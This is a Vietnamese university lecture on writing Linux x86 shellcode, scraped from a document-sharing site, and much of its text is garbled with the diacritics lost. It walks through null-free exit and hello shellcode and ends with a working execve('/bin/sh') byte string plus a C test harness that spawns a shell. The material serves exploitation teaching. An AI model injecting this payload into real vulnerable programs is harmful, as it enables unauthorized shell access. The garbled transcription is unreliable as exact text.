Bài giảng Shellco
Khái niệm shellcode
Nghĩa phổ biến trước đây: một chương trình khi thực
thi sẽ cung cấp một shell
Ví dụ: '/bin/sh' cho Unix/Linux shell, hay
command.com shell trên DOS và Microsoft Windows
Nghĩa rộng hơn: bất kỳ byte code nào được chèn vào
một quá trình khai thác lỗ hổng để hoàn thành một tác
vụ mong muốn. Có nghĩa là một payload
Shellcode được viết dưới dạng ngôn ngữ
assembly, trích xuất các opcode dưới dạng hexa
và dùng như là các biến string trong chương trình
Các thư viện chuẩn không hỗ trợ shellcode, phải
dùng kernel system call của hệ điều hành một
cách trực tiếp

Trang 1

Trang 2

Trang 3

Trang 4

Trang 5

Trang 6

Trang 7

Trang 8

Trang 9

Trang 10
Tải về để xem bản đầy đủ
Bạn đang xem 10 trang mẫu của tài liệu "Bài giảng Shellco", để tải tài liệu gốc về máy hãy click vào nút Download ở trên
Tóm tắt nội dung tài liệu: Bài giảng Shellco
Shellcode
N NG S N
PTITHCM
1
Khái ni m shellcode
Ngh a ph bi n tr c ây: m t ch ơ ng trình khi th c
thi s cung c p m t shell
Ví d : '/bin/sh' cho Unix/Linux shell, hay
command.com shell trên DOS và Microsoft Windows
Ngh a r ng hơn: b t k byte code nào c chèn vào
m t quá trình khai thác l h ng hoàn thành m t tác
v mong mu n. Có ngh a là m t payload
2
Khái ni m shellcode (2/2)
Shellcode c vi t d i d ng ngôn ng
assembly, trích xu t các opcode d i d ng hexa
và dùng nh là các bi n string trong ch ơ ng trình
Các th vi n chu n không h tr shellcode, ph i
dùng kernel system call c a h i u hành m t
cách tr c ti p
3
System call
Là mã ch ơ ng trình ch y trong ng c nh c a user
(user space) yêu c u kernel th c hi n các công vi c
khác nhau nh m , c file, t o m t phân vùng b
nh
Các system call th ng c th c hi n theo th t c
nh t nh nh n p m t giá tr vào thanh ghi và g i m t
ng t t ơ ng ng (ví d syscall exit ví d 1)
4
Windows shellcode và Linux shellcode
Linux cho phép giao ti p tr c ti p v i kernel qua int 0x80
Windows không cho phép giao ti p tr c ti p v i kernel,
h th ng ph i giao ti p b ng cách n p a ch c a
hàm_c n c th c thi t DLL.
a ch c a hàm c tìm th y trong windows s thay i
tùy theo phiên b n c a OS trong khi các 0x80 syscall
number là không i
5
Vi t shellcode
Hơi khác v i assembly code thông th ng, ó là kh n ng
portability.
Vì không th bi t a ch nên không th l p trình c ng m t a
ch trong shellcode.
Ph i dùng th thu t t o shellcode mà không ph i tham
chi u các tham s trong b nh theo cách thông th ng
Ch b ng cách cung c p a ch chính xác trên memory page
và ch có th làm vào th i i m biên d ch
Cách d nh t là dùng chu i trong shellcode nh ví d ơ n
6 gi n sau
section .data
#ch dùng thanh ghi ây...
section .text
global _start
jmp dummy
_start:
#pop register, d a vào ó bi t c v trí chu i
#T i ây là các assembly instructions s dùng chu i
dummy:
call _start
t chu i ch này
7
Linux Shellcoding
/*shellcodetest.c*/
char code[] = “ chu i mã l nh !";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
8
Vi t Shellcode cho exit() syscall
Vi t system call trong ngôn ng C
compiled và disassembled, th y nh ng gì các
ch th th c s làm
main()
{
exit(0);
}
gcc –static –o exit exit.c
gdb exit
9
exit syscall
asm code to call exit (ví d 1)
;exit.asm
section .text
global _start
_start:
mov ebx,0
mov eax,1
int 0x80
10
D ch và trích xu t mã máy
$ nasm -f elf exit.asm
$ ld -o exiter exit.o
$ objdump -d exiter
exit_shellcode: file format elf32-i386
Disassembly of section .text:
08048080 :
8048080: bb 00 00 00 00 mov $0x0,%ebx
8048085: b8 01 00 00 00 mov $0x1,%eax
804808a: cd 80 int $0x80
Thay vào shellcodetest.c
char code[] = "\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80";
11
Ví d 2
;hello.asm
section .text
global _start
_start:
jmp short ender
starter:
xor eax, eax ;clean up the registers
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov al, 4 ;syscall write
mov bl, 1 ;stdout is 1
pop ecx ;get the address of the string from the stack
mov dl, 5 ;length of the string
int 0x80
xor eax, eax
mov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80
ender:
call starter ;put the address of the string on the stack
12 db 'hello'
08048080 :
8048080: eb 19 jmp 804809b
08048082 :
$ nasm -f elf hello.asm 8048082: 31 c0 xor %eax,%eax
8048084: 31 db xor %ebx,%ebx
$ ld -o hello hello.o 8048086: 31 d2 xor %edx,%edx
8048088: 31 c9 xor %ecx,%ecx
$ objdump -d hello 804808a: b0 04 mov $0x4,%al
804808c: b3 01 mov $0x1,%bl
804808e: 59 pop %ecx
804808f: b2 05 mov $0x5,%dl
8048091: cd 80 int $0x80
8048093: 31 c0 xor %eax,%eax
8048095: b0 01 mov $0x1,%al
8048097: 31 db xor %ebx,%ebx
8048099: cd 80 int $0x80
0804809b :
804809b: e8 e2 ff ff ff call 8048082
80480a0: 68 65 6c 6c 6f push $0x6f6c6c65
13
char code[] =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"
\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
14
Injectable Shellcode
Nơi th ng t shellcode: buffer
Buffer là m ng ký t string
Chu i mã l nh th ng ch a ký t null
Ví d :
\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80
Null k t thúc chu i, chèn shellcode và buffer không
thành công
C n có cách i null thành non-null opcode
15
mov ebx,0 \xbb\x00\x00\x00\x00
mov eax,1 \xb8\x01\x00\x00\x00
int 0x80 \xcd\x80
Hai ch th u làm phát sinh null
Mov ebx,0 s t o ra null, thay b ng xor ebx,ebx s tránh xu t hi n
null trong opcode
Ch th th hai dùng eax có 4 byte d n n khi n p 1 vào thì ph n
còn l i ch a null, i thành mov al,1
xor ebx,ebx
mov al,1
int 0x80
16
Vi t l i mã h p ng
;exit.asm
section .text
global _start
_start:
xor eax, eax ;
mov al, 1 ;exit is syscall
1
xor ebx,ebx ;zero out ebx
int 0x80
17
D ch và trích xu t mã máy
$ nasm -f elf exit.asm
$ ld -o exiter exit.o
$ objdump -d exiter
Disassembly of section .text:
08048080 :
8048080: b0 01 mov $0x1,%al
8048082: 31 db xor %ebx,%ebx
8048084: cd 80 int $0x80
Thay vào shellcodetest.c
char code[] = "\xb0\x01\x31\xdb\xcd\x80";
18
L y m t shell
N m b c:
1. Vi t shellcode l y shell nh mong mu n b ng ngôn ng c p cao.
2. Compile và disassemble ch ơ ng trình shellcode (ngôn ng c p
cao).
3. Phân tích cách làm vi c c a ch ơ ng trình m c assembly.
4. Gi n l c t o m t ch ơ ng trình d i d ng aseembly nh g n và
có tính n ng injectable nh ã nói trên.
5. Trích mã máy (instruction code) và t o shellcode.
19
Step 1
Cách d nh t t o m t shell là dùng công c t o m t ti n
trình m i
Có 2 cách t o:
Thông qua m t ti n trình ã có và thay th program ã ch y
Copy m t ti n trình có s n và ch y program m i t i v trí c a
nó
Kernel s h tr , ch c n báo cho kernel bi t c n làm gì
b ng cách dùng fork() và execve()
20
Ch ơ ng trình l y shell c a linux
#include
int main()
{
char *happy[2];
happy[0] = “/bin/sh”;
happy[1] = NULL;
execve (happy[0], happy, NULL);
}
21
Step 2
ch ơ ng trình C này c th c thi khi n p vào vùng nh p sơ h
(vulnerable input area) c a máy tính, code ph i c d ch sang ch
th mã hexa
D ch ch ơ ng trình dùng static (tránh dynamic link gi execve)
Disassembly ch ơ ng trình dùng objdump
gcc -static –o spawnshell spawnshell.c
22
Step 3
Phân tích ch ơ ng trình d ng h p ng (sau
disassembly)
23
Step 4
ơ n gi n ch ơ ng trình d i d ng assembly
Thu g n, dùng ít b nh
X lý ký t null
24
Step 5
Compile và disassembly l y các mã máy
25
Dạng assembly ch ưa gi ản l ượ c
080481d0 :
80481d0: 55 push %ebp
80481d1: 89 e5 mov %esp,%ebp
80481d3: 83 ec 08 sub $0x8,%esp
80481d6: 83 e4 f0 and $0xfffffff0,%esp
80481d9: b8 00 00 00 00 mov $0x0,%eax
80481de: 29 c4 sub %eax,%esp
80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp)
80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
80481ee: 83 ec 04 sub $0x4,%esp
80481f1: 6a 00 push $0x0
80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax
80481f6: 50 push %eax
80481f7: ff 75 f8 pushl 0xfffffff8(%ebp)
80481fa: e8 f1 57 00 00 call 804d9f0
80481ff: 83 c4 10 add $0x10,%esp
8048202: c9 leave
8048203: c3 ret
0804d9f0 :
804d9f0: 55 push %ebp
804d9f1: b8 00 00 00 00 mov $0x0,%eax
804d9f6: 89 e5 mov %esp,%ebp
26
804d9f8: 85 c0 test %eax,%eax
804d9fa: 57 push %edi
804d9fb: 53 push %ebx
804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi
804d9ff: 74 05 je 804da06
804da01: e8 fa 25 fb f7 call 0
804da06: 8b 4d 0c mov 0xc(%ebp),%ecx
804da09: 8b 55 10 mov 0x10(%ebp),%edx
804da0c: 53 push %ebx
804da0d: 89 fb mov %edi,%ebx
804da0f: b8 0b 00 00 00 mov $0xb,%eax
804da14: cd 80 int $0x80
804da16: 5b pop %ebx
804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804da1c: 89 c3 mov %eax,%ebx
804da1e: 77 06 ja 804da26
804da20: 89 d8 mov %ebx,%eax
804da22: 5b pop %ebx
804da23: 5f pop %edi
804da24: c9 leave
804da25: c3 ret
804da26: f7 db neg %ebx
804da28: e8 cf ab ff ff call 80485fc
804da2d: 89 18 mov %ebx,(%eax)
804da2f: bb ff ff ff ff mov $0xffffffff,%ebx
804da34: eb ea jmp 804da20
27 804da36: 90 nop
804da37: 90 nop
Execve() syscall
Execve c chuy n thành danh sách r t dài các ch th assembly
trong shellcode
int execve(const char *filename, char *const argv[], char *const envp[]);
Th c thi ch ơ ng trình c tr b i filename. Filename ph i b n
th c thi nh phân hay scrip v i m t dòng d ng “#! Interpreter [arg]”
Argv là m t m ng c a chu i c chuy n cho ch ơ ng trình m i.
Envp là m t m ng c a chu i, d ng key=value, c chuy n nh
bi n môi tr ng cho ch ơ ng trình m i.
C argv và envp u ph i k t thúc b ng con tr null
28
Man page c a execve
EXECVE(2) Linux Programmer's Manual EXECVE(2)
NAME
execve - execute program
SYNOPSIS
#include
int execve(const char *filename, char *const argv [], char *const envp[]);
DESCRIPTION
execve() executes the program pointed to by filename. filename must be either a binary
executable, or a script starting with a line of the form "#! interpreter [arg]". In
the latter case, the interpreter must be a valid pathname for an executable which is
not itself a script, which will be invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program. envp is an array of
strings, conventionally of the form key=value, which are passed as environment to the
new program. Both, argv and envp must be terminated by a null pointer. The argument
vector and environment can be accessed by the called program's main function, when it
is defined as int main(int argc, char *argv[], char *envp[]).
[...]
29
Phân tích thu g n
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi ; l u a ch c a"/bin/sh" trong ESI
xor eax, eax ; bi n n i dung c a EAX thành zero
mov byte [esi + 7], al ; ghi null byte vào cu i chu i
mov dword [esi + 8], esi ; [ESI+8], v trí nh ngay sau chu i
mov dword [esi + 12], eax ; ghi null pointer vào v trí [ESI+12]
mov al, 0xb ; ghi sysnum (11) vào EAX
lea ebx, [esi] ; chép a ch chu i vào EBX
lea ecx, [esi + 8] ; chép tham s th 2 c a execve
lea edx, [esi + 12] ; chép tham s th 3 c a execve (NULL pointer)
int 0x80 ; g i ng t
GotoCall:
call shellcode
db ‘/bin/shJAAAAKKKK’
30
Compile và Disassemble
execve2: file format elf32-i386
Disassembly of section .text:
00000000 :
0: eb 18 jmp 1a
00000002 :
2: 5e pop %esi
3: 31 c0 xor %eax,%eax
5: 88 46 07 mov %al,0x7(%esi)
[son@localhost]$ nasm -f elf 8: 89 76 08 mov %esi,0x8(%esi)
execve2.asm b: 89 46 0c mov %eax,0xc(%esi)
[son@localhost]$ld -o execve2 e: b0 0b mov $0xb,%al
execve2.o 10: 8d 1e lea (%esi),%ebx
[son@localhost]$objdump -d execve2 12: 8d 4e 08 lea 0x8(%esi),%ecx
15: 8d 56 0c lea 0xc(%esi),%edx
18: cd 80 int $0x80
0000001a :
1a: e8 e3 ff ff ff call 2
1f: 2f das
20: 62 69 6e bound %ebp,0x6e(%ecx)
23: 2f das
31 24: 73 68 jae 8e
80480a8: 4a dec %edx
80480a9: 41 inc %ecx
80480aa: 41 inc %ecx
80480ab: 41 inc %ecx
80480ac: 41 inc %ecx
80480ad: 4b dec %ebx
80480ae: 4b dec %ebx
80480af: 4b dec %ebx
80480b0: 4b dec %ebx
32
L y opcode
char code[] = \xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
"\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41”
“\x41\x41\x41\x4b\x4b\x4b\x4b”;
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
33
Biên d ch và th c thi
[son@.....]$ gcc get_shell.c –o get_shell
[son@.....]$ ./get_shell
$ L y c shell
34
HẾT
35File đính kèm:
bai_giang_shellco.pdf

